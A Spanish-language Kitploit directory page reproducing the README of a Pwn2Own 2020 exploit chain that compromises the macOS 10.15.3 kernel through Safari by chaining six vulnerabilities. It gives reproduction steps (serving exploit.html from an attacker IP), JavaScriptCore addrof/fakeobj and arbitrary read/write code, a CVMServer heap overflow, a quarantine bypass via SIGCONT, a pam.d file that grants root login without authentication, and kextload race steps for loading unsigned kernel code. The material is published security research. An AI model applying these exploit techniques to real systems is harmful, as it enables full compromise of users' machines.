Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn2own2020 — Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades | Kitploit
Herramientas/GitHubGitHub/sslab-gatech/pwn2own2020
Escalada de PrivilegiosExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades

Ver Repositorio
414583hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades

Resumen

Este repositorio contiene los detalles técnicos y de explotación de nuestra propuesta ganadora del Pwn2Own 2020 que apuntaba a Apple Safari con una escalada de privilegios del kernel para macOS 10.15.3. Para más información, también puedes consultar nuestras diapositivas del Blackhat USA 2020 y vídeo. Este repositorio también incluye nuestro vídeo de demostración para la exitosa explotación.

Cómo reproducirlo

  1. Ejecuta el servidor HTTP usando python3 en la carpeta exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. Accede al sitio web con la IP del servidor del atacante con Safari:```
http://[attacker_ip]/exploit.html
  1. Espere a la Calculadora (normalmente aparece en diez segundos, pero si tiene mala suerte, tardará un poco más) y a una terminal con privilegios de kernel. Para mostrar nuestra escalada de privilegios de kernel, deshabilitamos el SIP. Puede comprobarlo ejecutando el comando csrutil status, que mostrará disabled.

Compilar desde el código fuente

Para su comodidad, proporcionamos un payload compilado, payload.js. Pero, si lo desea, puede compilarlo usted mismo. Tenga en cuenta que esto llevará mucho tiempo porque compilaremos WebKit como parte de nuestra cadena de explotación. Cabe mencionar que solo probamos nuestro proceso de compilación en Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Technical details
-----------------

Para crear este exploit, encadenamos las siguientes *SEIS* vulnerabilidades.

### 1. Ejecución remota de código en Safari mediante un modelado incorrecto de los efectos secundarios del operador 'in' en el compilador DFG de JavaScriptCore

- Análisis de la causa raíz

En JavaScriptCore, cuando se consulta una propiedad indexada con el operador 'in',
el compilador DFG asume que no tiene efectos secundarios a menos que haya un objeto
proxy en su cadena de prototipos que pueda interceptar esta operación.
JavaScriptCore marca un objeto que puede interceptar este acceso a la propiedad indexada
usando el indicador llamado 'MayHaveIndexedAccessors'. Este indicador se
marca explícitamente para el objeto Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Sin embargo, hay otro objeto que puede causar un efecto secundario: JSHTMLEmbedElement que implementa su propio método getOwnPropertySlot(). Una forma de activar callbacks (es decir, efectos secundarios) de JavaScript con el operador 'in' es usar el elemento <embed> con el plugin de PDF; cuando se consulta cualquier propiedad en el objeto DOM de la etiqueta embed / object, intenta cargar el plugin subyacente y el manejador de eventos DOMSubtreeModified puede ser llamado en el caso del plugin de PDF porque usa el método appendChild en el elemento body.

Esta es la traza de pila de la llamada del efecto secundario desde getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Dado que cualquier objeto en la cadena de prototipos no está marcado con
"MayHaveIndexedAccessors", JIT asume que este uso del operador 'in' no
tiene transiciones internas, eliminando las comprobaciones de tipo de array después de la
transición.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

Al construir una primitiva addrof/fakeobj a partir de esto, podríamos hacer una primitiva RW arbitraria para obtener ejecución de código con la función JavaScript compilada por JIT.

  • Explotación

Después de obtener las primitivas addrof/fakeobj, las convertimos en primitivas addrof/fakeobj más estables falsificando un objeto.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Filtramos el id de estructura del hostObj creando un objeto de función falso
fakeHostObj y llamando a Function.prototype.toString sobre él. El nombre de
la función refleja el valor del id de estructura como cadena UTF-16. Actualizamos el
hostObj después de filtrar el id de estructura. Vale la pena señalar que esta
técnica proviene de [la charla de Yong Wang en Blackhat EU 2019
](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Ahora tenemos la mariposa de fakeHostObj apuntando a fakeHostObj mismo. Podemos usar la primitiva addrof/fakeobj sin volver a activar el bug, ya que podemos acceder a hostObj.o como JSValue o como double usando fakeHostObj[2].

Usando el id de estructura filtrado de attackObj y la primitiva addrof/fakeobj, podemos crear objetos como los siguientes.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
Podemos obtener una primitiva arbitraria de lectura/escritura usando fakeRwObj para actualizar el puntero butterfly de fakeInnerObj y leer/escribir desde/hacia fakeInnerObj. Para lograr RCE a partir de una primitiva arbitraria de lectura/escritura, activamos la compilación JIT de la función dummy, filtramos la dirección del código y la sobrescribimos con nuestro shellcode. A veces, la filtración de la dirección del código falla porque no podemos leer/escribir ciertos valores desde nuestro array falso. En ese caso, intentamos aproximarla leyendo desde la ubicación del puntero + 1 y desplazando el valor leído. Finalmente, sobrescribimos el puntero de código de la función alert con el puntero de código de nuestra función dummy y la llamamos (con algunos argumentos) para ejecutar el shellcode.


### 2. Lanzamiento arbitrario de .app en Safari mediante enlace simbólico en didFailProvisionalLoad()

Para URL file://, Safari abre una ventana del Finder con [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Esta función acepta dos parámetros y, en la mayoría de los casos, Safari solo usa el primer parámetro, que muestra la carpeta contenedora del archivo especificado. Pero si se usa el segundo parámetro en su lugar, el Finder lanza el archivo si es ejecutable o un paquete de aplicación (app bundle).

Safari usa el segundo parámetro después de confirmar que la ruta señalada no es un paquete de aplicación --- directorio con sufijo .app. Dado que un enlace simbólico puede apuntar al paquete de aplicación, pero este no es un directorio con sufijo .app, Safari lanzará la aplicación a la que apunta el enlace simbólico. Esta ruta de código se puede activar enviando el mensaje IPC didFailProvisionalLoad().

Sin embargo, Safari no puede crear un enlace simbólico debido al filtro de llamadas al sistema de la sandbox de Seatbelt. Así que usamos otra vulnerabilidad que otorga root, pero con ejecución de código en la sandbox.


### 3. Ejecución arbitraria de código en el servicio CVM (Core Virtual Machine) mediante desbordamiento de heap

Hay un servicio XPC en la sandbox llamado com.apple.cvmsServ (es decir, CVMServer), que compila shaders para varias arquitecturas. Es parte del framework OpenGL integrado.

Para las solicitudes con el campo "message" establecido en 4, CVMServer analiza los "framework data" y "maps" especificados por el usuario. El archivo de datos "maps" se encuentra en "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps": el primer %s es especificado por el usuario sin ningún filtro. Por lo tanto, es posible el directory traversal; podemos hacer que analice el archivo creado dentro de la sandbox de Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Si item_count * 56 + items_offset <= 0x50, fread() recibirá una longitud subdesbordada cercana a 2^64, por lo que se convierte en un desbordamiento de heap con carga útil de longitud arbitraria. Tenga en cuenta que fread() se detiene cuando se alcanza el final del archivo especificado.

Al utilizar esto, podríamos sobrescribir el objeto de heap relacionado con la conexión, lo que podría modificar los punteros mencionados a continuación:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Si el valor de "port" es 0x103 (TASK-SELF), el servicio otorgará al cliente el
derecho de envío del puerto de tarea de CVMServer, que puede usarse para asignar memoria y
ejecutar código arbitrario en el proceso. Para hacer que v8[index].port == 0x103,
buscamos en la memoria del área de bibliotecas, que tienen las mismas direcciones en
los procesos.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

Había muchas áreas que tenían dos valores enteros de 64 bits 0, -1, y para rax+0x38 y X+0x30, encontramos que _xpc_error_termination_imminent, que es un símbolo público, satisface esta condición. Dado que la longitud es mayor que 2^64 / 0x10, pudimos calcular el inverso modular para apuntar a Y(==0)*0x18+index+0x10 == &0x103.

Como CVMServer tenía com.apple.security.cs.allow-jit configurado, pudimos llamar a mmap con la bandera MAP_JIT e invocar nuestro cargador reflectivo para ejecutar archivos dylib en el proceso. Ejecutamos este código en CVMServer:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
Después de crear %lu.app y el enlace simbólico my.app, volvimos a Safari y enviamos
el mensaje IPC para abrir la app. Pero había dos protecciones más: la comprobación
de cuarentena y la comprobación de apertura de la app por primera vez.

### 4. Bypass de la protección de primera apertura de apps en macOS

Si Safari intenta ejecutar una app por primera vez, Safari deniega su
ejecución si el archivo tiene un atributo llamado com.apple.quarantine o espera la
confirmación del usuario. Todos los archivos creados por WebProcess tienen el atributo ---
com.apple.quarantine; sin embargo, ya podemos evadir esto porque creamos
la carpeta en el proceso CVMServer, no en WebProcess. Para la confirmación del
usuario, macOS primero crea el proceso, lo suspende y continúa
el proceso después de que el usuario haga clic en el botón `Open`. Pero enviar la señal SIGCONT funcionó
igual que hacer clic en el botón.

Por lo tanto, ejecutamos este código continuamente en CVMServer después de crear my.app:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Escalada de privilegios de root en cfprefsd mediante la modificación arbitraria de permisos de archivos/carpetas provocada por una condición de carrera

cfprefsd es otro servicio XPC que permite a un usuario crear archivos plist. Se encuentra en CoreFoundation y es accesible desde la mayoría de los procesos sin sandbox. Dado que ya obtuvimos privilegios sin sandbox para un usuario normal (p. ej., CVMServer), podemos solicitarle que cree un archivo plist si la carpeta y el archivo de destino tienen suficientes bits de permiso que permitan al usuario cliente escribir en el archivo. Sin embargo, si la carpeta no existe, crea la carpeta del archivo plist de forma recursiva.

A continuación se muestra un fragmento de código de CVMServer que crea la carpeta.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
Pero si una ruta apunta a un directorio escribible por el usuario, un usuario puede reemplazar el directorio
al que apunta `cur`, y reemplazarlo con un enlace simbólico a un archivo/carpeta arbitrario.
Dado que cfprefsd tiene privilegios de root, es posible cambiar el propietario de las
carpetas como /etc/pam.d. Al cambiar el propietario de /etc/pam.d, podemos escribir
/etc/pam.d/login con el siguiente contenido:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Entonces el comando login root le dará al usuario una shell de root sin autenticación alguna.

6. Escalada de privilegios del kernel mediante el bypass del staging de módulos y una condición de carrera en kextload

kextload es uno de los programas que puede realizar operaciones de kext (extensión del kernel) en macOS. Al ejecutar kextload [path of .kext folder], un usuario root puede cargar un kext firmado desde el modo de usuario. Para evitar kexts sin firmar o con firma no válida, kextload establece el callback 'authenticator' en el paquete IOKitUser. Desafortunadamente, la ruta del kext es el único recurso disponible para el callback, por lo que la condición de carrera es difícil de prevenir. Para mitigar esto, kextload primero copia la carpeta del kext al espacio dedicado -- /Library/StagedExtensions --- que no puede modificarse ni siquiera con privilegios de root gracias a SIP y al mecanismo de entitlements.

kextload funciona de la siguiente manera. Si ejecutamos kextload /tmp/A.kext, kextload copia la carpeta kext original a /Library/StagedExtensions/tmp/[UUID].kext. Luego, kextload comprueba las firmas de todos los archivos de la carpeta. Si esto falla, elimina la carpeta. De lo contrario, copia la carpeta a /Library/StagedExtensions/tmp/A.kext y carga este módulo.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Un problema en kextload es que este proceso puede ser terminado por un usuario con privilegios de root. Vale la pena señalar que la copia mencionada incluye un enlace simbólico, que se validará más adelante. Sin embargo, si matamos el proceso kextload antes de la validación, podemos conservar un kext inválido con un enlace simbólico en /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

Después de esto, si ejecutamos otro comando kextload con kextload /tmp/[UUID].kext/symlink/B.kext, B.kext se copiará a la ubicación escribible para un usuario con privilegios de root (p. ej., /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
Después de copiar, kextload verifica si se encuentra en una ubicación segura, que es
`/Library/StagedExtensions/*`. Podemos colocar temporalmente el enlace simbólico en
/tmp/A.kext para que apunte a /Library/StagedExtensions/[path of valid kext]. Después
de la validación, podemos reemplazar el binario del módulo por un módulo de kernel sin firmar,
para obtener ejecución de código en el kernel.

Para que la condición de carrera sea confiable, usamos sandbox-exec para detener el programa
en el acceso al archivo con el sufijo especificado.


Autores
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Citación
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Referencias

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Descargar herramienta